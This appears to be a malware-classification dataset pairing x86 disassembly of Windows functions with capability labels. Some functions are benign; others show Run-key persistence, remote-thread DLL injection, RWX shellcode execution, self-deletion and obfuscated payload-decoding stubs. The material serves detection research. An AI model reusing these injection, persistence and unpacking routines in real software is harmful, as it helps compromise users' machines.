joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.10014060
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.10014060
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x10014060
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001406f
pop dword [ebp - 0x44]
mov eax, 0xd7f15b41
add eax, 0x380fe52e
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xd7a309a4
sub dword [ebp - 0x54], 0x8950c459
mov dword [ebp - 0x50], 0x39f3f486
add dword [ebp - 0x50], 0xf83f57bf
mov dword [ebp - 0x4c], 0x617912e4
sub dword [ebp - 0x4c], 0x152cceb6
mov dword [ebp - 0x48], 0xf72159b8
sub dword [ebp - 0x48], 0xf72159b8
lea eax, [ebp - 0x54]
push eax
mov eax, 0xc325923a
add eax, 0x4cdbce26
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5f57b8b0
add dword [ebp - 0x54], 0x151ab0a6
mov dword [ebp - 0x50], 0x83b3e735
add dword [ebp - 0x50], 0xbdb87a40
mov dword [ebp - 0x4c], 0x9e743529
add dword [ebp - 0x4c], 0xc4fb3743
mov dword [ebp - 0x48], 0x5b4243c9
sub dword [ebp - 0x48], 0x5b4243c9
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x8d72c0f8
sub eax, 0x7d716094
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x38338
push 0
call eax
mov ecx, 0x2f7fb7fb
sub ecx, 0x2f7f6d86
mov esi, eax
mov edx, 0xf1da47b8
add edx, 0x1e27ee48
add edx, dword [ebp - 0x44]
mov edi, 0x3f4f31b5
add edi, 0x9e89c7da
add dword [ebp - 0x1c], 0x1c0a0b41
mov ebx, dword [edx]
sub dword [ebp - 0x28], edx
sub ebx, edi
mov dword [ebp - 0x1c], 0xa45b24fe
mov dword [esi], ebx
xor dword [ebp - 0x14], 0xd4b5ae9d
add esi, 4
add edx, 0x3e60aac4
sub edx, 0x3e60aac0
loop 0x10014191
add eax, 0xcc873fbb
sub eax, 0xcc862314
mov ebx, eax
add eax, 0xd2172329
sub eax, 0xd2172324
mov ecx, 0xc77c18c1
sub ecx, 0xb77c18c1
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10002b96
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10002ba5
pop dword [ebp - 0x3c]
mov eax, 0x4d95726e
add eax, 0xc26ab937
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x6526caa0
sub dword [ebp - 0x4c], 0x16d48555
mov dword [ebp - 0x48], 0x4239ed54
sub dword [ebp - 0x48], 0x1006a10f
mov dword [ebp - 0x44], 0x92d34d44
sub dword [ebp - 0x44], 0x46870916
mov dword [ebp - 0x40], 0x5eb7cfb8
add dword [ebp - 0x40], 0xa1483048
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x91828ea5
add eax, 0x7e7e4197
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x1f709780
add dword [ebp - 0x4c], 0x5501d1d6
mov dword [ebp - 0x48], 0x928b77de
add dword [ebp - 0x48], 0xaee0e997
mov dword [ebp - 0x44], 0x8afa838a
add dword [ebp - 0x44], 0xd874e8e2
mov dword [ebp - 0x40], 0x849fb8d8
add dword [ebp - 0x40], 0x7b604728
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x330e6
push 0
call eax
mov ecx, 0xe903b304
add ecx, 0x16fc83d1
xor edx, edx
add edx, eax
mov edi, 0x51ea9244
add edi, 0xbe16bfbc
add edi, dword [ebp - 0x3c]
mov esi, 0x228a944c
sub esi, 0xdf0a60cb
xor dword [ebp - 0x20], ebx
mov ebx, dword [edi]
xor dword [ebp - 0x2c], 0x7ba4f799
add ebx, esi
xor dword [ebp - 0x18], edx
mov dword [edx], ebx
add dword [ebp - 0x38], ecx
add edx, 4
add edi, 0x8938ac7c
sub edi, 0x8938ac78
loop 0x10002cc4
add eax, 0x5a175178
sub eax, 0x5a168351
xor ebx, ebx
add ebx, eax
add eax, 0xa79b91b6
add eax, 0x58646e4f
mov ecx, 0x94917a73
add ecx, 0x7b6e858d
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2060
call fcn.00406d50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x1004]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
dec eax
js 0x401052
jmp 0x401040
cmp word [ebp + eax*2 - 0x1004], 0x5c
je 0x4011cb
dec eax
jns 0x401040
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov word [ebp - 0x2004], ax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x2004]
push eax
call esi
push str.HotA_DataRMG_Template_Editor.exe
lea eax, [ebp - 0x2004]
push eax
call esi
xor eax, eax
mov word [ebp - 0x1804], ax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1804]
push eax
call esi
push str.HotA_Data
lea eax, [ebp - 0x1804]
push eax
call esi
xor eax, eax
mov word [ebp - 0x804], ax
lea eax, [ebp - 0x804]
push 0x40fd20
push eax
call esi
lea eax, [ebp - 0x2004]
push eax
lea eax, [ebp - 0x804]
push eax
call esi
push 0x40fd20
lea eax, [ebp - 0x804]
push eax
call esi
lea eax, [ebp - 0x200c]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x200c], 1
mov edi, eax
jle 0x40111c
push 0x40fd24
lea eax, [ebp - 0x804]
push eax
call esi
push dword [edi + 4]
lea eax, [ebp - 0x804]
push eax
call esi
push 0x40fd20
lea eax, [ebp - 0x804]
push eax
call esi
push 0x44
lea eax, [ebp - 0x2050]
push 0
push eax
call fcn.00405980
add esp, 0xc
mov dword [ebp - 0x2050], 0x44
lea eax, [ebp - 0x2060]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x2060], xmm0
push eax
lea eax, [ebp - 0x2050]
push eax
lea eax, [ebp - 0x1804]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [ebp - 0x2060]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x2008]
mov dword [ebp - 0x2008], 0x232d
push eax
push dword [ebp - 0x2060]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x2060]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x205c]
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2008]
xor ecx, ebp
pop edi
pop esi
call fcn.004011e9
mov esp, ebp
pop ebp
ret 0x10
add eax, eax
cmp eax, 0x800
jae 0x4011e3
xor ecx, ecx
mov word [ebp + eax - 0x1004], cx
jmp 0x401052
call fcn.00401330
int3
Function at 0x4046c5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00401664
mov dword [ebp - 0x14], eax
cmp dword [0x412ee8], esi
jne 0x4047b8
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x404745
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x404898
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x404898
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x404898
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x412ee8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x412eec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x412ef0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x412ef8], eax
test eax, eax
je 0x4047b5
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x412ef4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4047dd
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4047d0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4047f2
push 4
pop eax
jmp 0x40489a
cmp dword [ebp - 0x14], esi
je 0x4047f2
push dword [0x412ee8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4047d7
mov eax, dword [0x412ef4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x404850
cmp dword [0x412ef8], edi
je 0x404850
push eax
call ebx
push dword [0x412ef8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x404850
test eax, eax
je 0x404850
call ecx
test eax, eax
je 0x404845
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x404845
test byte [ebp - 8], 1
jne 0x404850
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x404880
mov eax, dword [0x412eec]
cmp eax, edi
je 0x40487d
push eax
call ebx
test eax, eax
je 0x40487d
call eax
mov esi, eax
test esi, esi
je 0x40487d
mov eax, dword [0x412ef0]
cmp eax, edi
je 0x40487d
push eax
call ebx
test eax, eax
je 0x40487d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x412ee8]
call ebx
test eax, eax
je 0x404898
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40489a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004011e9
mov esp, ebp
pop ebp
ret
Function at 0x6a6412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6a641325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6a641325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6a64132c
mov eax, 1
jmp 0x6a641331
mov eax, 0
leave
ret

Function at 0x6a641333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6a64148c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6a6417c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6a641828
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6a641bb0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6a64603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6a646034]
sub esp, 4
test ebx, ebx
je 0x6a641bfb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6a641bf4
test esi, esi
je 0x6a641bf4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6a641bd0
mov dword [esp], 0x6a64603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6a641de0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6a644158
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6a641e30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6a641f08
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6a641e6e
cmp eax, 4
jne 0x6a641e90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6a641e7e
cmp edx, 4
je 0x6a641e7e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6a641de0